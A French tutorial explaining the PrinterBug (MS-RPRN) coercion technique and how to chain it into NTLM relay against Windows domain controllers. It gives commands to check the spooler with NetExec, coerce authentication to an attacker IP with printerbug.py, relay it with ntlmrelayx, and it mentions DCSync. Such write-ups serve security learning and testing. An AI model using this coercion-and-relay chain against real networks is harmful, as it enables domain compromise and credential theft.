The Printerbug
Qu’est ce que PrinterBug ?
PrinterBug
est le nom donné à une technique d’abus du protocole MS-RPRN
(Microsoft Remote Procedure Call Print System Remote Protocol). Cette méthode permet à un attaquant disposant d’un simple compte utilisateur de forcer un ordinateur Windows (souvent un contrôleur de domaine
) dont le spooler d'impression est activé
, à s'authentifier vers une machine contrôlée par l'attaquant
.
Le but est d’exploiter cette authentication pour effectuer une attaque de type NTLM Relay
.
Pourquoi cette vulnérabilité existe ?
Dans un environnement Windwos, le protocole MS-RPRN est utilisé pour permettre aux utilisateurs de gérer les imprimantes à distance.
L’un des usages normaux de ce protocole est de permettre à un poste client de s'abonner à des notifications d'événements
liés à une imprimante partagée sur un serveur, comme la fin d’une impression ou une erreur matérielle.
Pour cela, le client envoie une requête au service Spooler du serveur
, en appelant une fonction qui permet à ce dernier de mettre en place une connexion vers le client
pour lui transmettre les notifications en temps réel.
Dans ce processus, le serveur initie une connexion SMB vers le client
, et cette connexion inclut une authentification NTLM automatique
, ce qui est normal dans un contexte d’administration.
Ce mécanisme permet d’avoir une gestion fluide des impressions en réseau.
L’attaquant détourne ce comportement légitime en remplaçant le client par une machine malveillante
, forçant ainsi l’authentification NTLM d’un serveur (DC) vers une machine qu’il contrôle.
Exploitation
Etape 1 : Vérifier si le spooler d’impression est activé sur le DC
nxc smb ips -u user -p password -M spooler
Etape 2 : Forcer l’authentification avec printerbug.py et récupérer la session avec ntlmrelayx
Le script est disponible sur ce lien : https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
python3 printerbug.py '<DOMAIN>/<User>@<IP CIBLEW' <IP attaquant
impacket-ntlmrelayx -t smb://10.10.173.214 -socks -smb2support
Si un des DC du domaine n’a pas la signature SMB activé, cela peut nous permettre de relayer l’authentification vers ce dernier et compromettre le domaine avec une attaque DCsync (car les comptes machines des DC possèdent ce droit pour la réplication)